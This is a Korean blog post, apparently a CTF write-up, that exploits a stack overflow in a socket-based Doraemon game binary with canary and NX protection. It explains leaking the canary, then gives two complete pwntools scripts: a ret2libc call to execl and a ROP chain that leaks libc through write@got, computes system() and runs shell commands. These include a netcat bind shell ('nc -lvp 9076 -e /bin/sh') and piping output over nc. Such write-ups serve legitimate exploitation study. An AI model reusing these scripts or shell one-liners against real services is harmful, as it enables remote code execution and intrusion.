보호기법은 스택카나리와 NX가 걸려있다.

이 바이너리도 소켓으로 통신을 하는 바이너리라서 먼저 1번 터미널에서 실행을 시켜주고 2번 터미널에서 nc로 붙어야 한다.


실행을 하면 메뉴가 나온다.


근데 처음에 이 메뉴들을 실행을 시키면 open error라는 메시지가 뜨면서 바이너리가 종료된다.

그래서 아이다로 찾아보니 이 바이너리가 실행되는 위치에 각각 조건에 맞는 파일이 open()되지 않아서 open error라는 메시지를 띄워주는 것이였다.

그래서 각가 맞는 조건을 gdb와 ida를 보고 찾아서 생성해줬다.


그 후 각 메뉴를 실행해보면 도라에몽을 공격할 수도있고 체력을 회복시켜줄 수 도 있다.

각 메뉴에 대해 취약점이 존재하는지 확인해보았다.

4번 메뉴에서 취약점이 나온다.

4번 메뉴를 입력하면 y와 n을 입력받는데 그 때의 함수를 보면 read(fd, ebp-0x16, 0x6e) 이다.

즉 버퍼는 22만큼의 공간을 가지고 있는데.. read할 사이즈는 110이다.


해당 함수의 변수를 보면 

ebp-0x20

ebp-0x1c

ebp-0x16

ebp-0x12

ebp-0xe

ebp-oxc

ebp-0x8까지 있다.


즉 ebp-0x16부터 ebp+0x4까지 덮으려면 22바이트가 필요하다. 하지만 여기엔 카나리가 들어가므로 총 26바이트를 넣어준 후 다음 4바이트가 ret를 덮을 것이다.

이제 카나리 값을 알아야 하는데.

ebp-0x16에서 카나리를 릭해줘야 한다.

처음에 y를 8개 넣으니 당연히 아무값도 출력이 안된다.

그래서 9개를 넣어보았다.

하지만 9개도 카나리가 나오지 않았다.

즉 카나리의 첫바이트는 널바이트라는 것이다.

그래서 10개를 넣으니 카나리가 릭됐다.


카나리는 이렇게 릭을 해주면 되고..


처음엔 내부에 있는 execl()함수와 /bin/sh을 실행시키도록 코드를 짜서 rtl을 해보니 서버단에서 쉘이 따지고 attacker는 쉘이 보이지 않았다.

처음에 짠 exploit code

from pwn import *

def canary_leak():
	p = remote("localhost", 8888)

	print p.recvuntil(">")
	p.sendline("4")
	print p.recvuntil("(y/n)")
	p.sendline("y"*10)
	print p.recvuntil("You choose '")
	dummy_canary = p.recvuntil("'!").split("\n")[1]
	canary = u32("\x00" + dummy_canary[0:3])
	ret = u32(dummy_canary[15:19])
	log.info("canary = {}".format(hex(canary)))
	log.info("ret = {}".format(hex(ret)))

	print p.recvuntil("MOUSE!!!!!!!!! (HP - 25)\"") + p.recvuntil("\n")
	p.close()
	return canary

def exploit(canary):
	binsh = 0x804970d
	bss = 0x804b080
	execl_plt = 0x8048710
	pppr = 0x8048b2c

	payload = "y"*10
	payload += p32(canary)
	payload += "A"*12
	payload += p32(execl_plt)
	payload += p32(pppr)
	payload += p32(binsh)
	payload += p32(binsh)
	payload += p32(0)

	p = remote("localhost", 8888)
	p.recvuntil(">")
	p.sendline("4")
	print p.recvuntil("(y/n)")
	p.sendline(payload)

	p.interactive()

if __name__ == "__main__":
	canary = canary_leak()
	exploit(canary)


위 방법은 attacker입장에선 무의미하다.

그래서 rop 가젯을 모아서 익스플로잇을 해주면 된다.

libc주소를 write()로 릭해서 system함수를 offset으로 구한 후 system()함수를 실행 해주면 익스가 된다. (최종적으론 리버스쉘로 풀었다.)



exploit code

from pwn import *

def canary_leak():
	p = remote("localhost", 8888)

	print p.recvuntil(">")
	p.sendline("4")
	print p.recvuntil("(y/n)")
	p.sendline("y"*10)
	print p.recvuntil("You choose '")
	dummy_canary = p.recvuntil("'!").split("\n")[1]
	canary = u32("\x00" + dummy_canary[0:3])
	ret = u32(dummy_canary[15:19])
	log.info("canary = {}".format(hex(canary)))
	log.info("ret = {}".format(hex(ret)))

	print p.recvuntil("MOUSE!!!!!!!!! (HP - 25)\"") + p.recvuntil("\n")
	p.close()
	return canary

def exploit(canary):
	read_plt = 0x8048620
	read_got = 0x804b010
	write_plt = 0x80486e0
	write_got = 0x804b040
	binsh = 0x804970d
	bss = 0x804b080
	system_offset = 0x9add0 # write - system
	pppr = 0x8048b2c
	#cmd = "/bin/sh -i <&4 >&4 2>&4\x00"
	#cmd = "ls -l | nc localhost 9076\x00"
	cmd = "nc -lvp 9076 -e /bin/sh\x00"

	payload = "y"*10
	payload += p32(canary)
	payload += "A"*12
	
	payload += p32(write_plt)
	payload += "JUNK"
	payload += p32(4)
	payload += p32(write_got)
	payload += p32(4)

	p = remote("localhost", 8888)
	p.recvuntil(">")
	p.sendline("4")
	print p.recvuntil("(y/n)")
	p.sendline(payload)

	print len(p.recv())
	libc_write = u32(p.recv())
	log.info("libc_write = {}".format(hex(libc_write)))
	system_addr = libc_write - system_offset
	log.info("system_addr = {}".format(hex(system_addr)))	

	p.close()

	payload = "y"*10
	payload += p32(canary)
	payload += "A"*12

	payload += p32(read_plt)
	payload += p32(pppr)
	payload += p32(4)
	payload += p32(bss)
	payload += p32(len(cmd))
	
	payload += p32(system_addr)
	payload += "JUNK"
	payload += p32(bss)

	p = remote("localhost", 8888)
	p.recvuntil(">")
	p.sendline("4")
	print p.recvuntil("(y/n)")
	p.sendline(payload)
	print p.recv()
	p.sendline(cmd)
	p.interactive()

if __name__ == "__main__":
	canary = canary_leak()
	exploit(canary)


'CTF' 카테고리의 다른 글

CodeGate2016 watermelon  (0) 2018.07.26
CodeGate2014 nuclear  (0) 2018.07.22
CodeGate 2017 babypwn  (1) 2018.07.18
pico-ctf-2013 rop-4  (0) 2018.07.17
pico-ctf-2013 rop-3  (0) 2018.07.14

+ Recent posts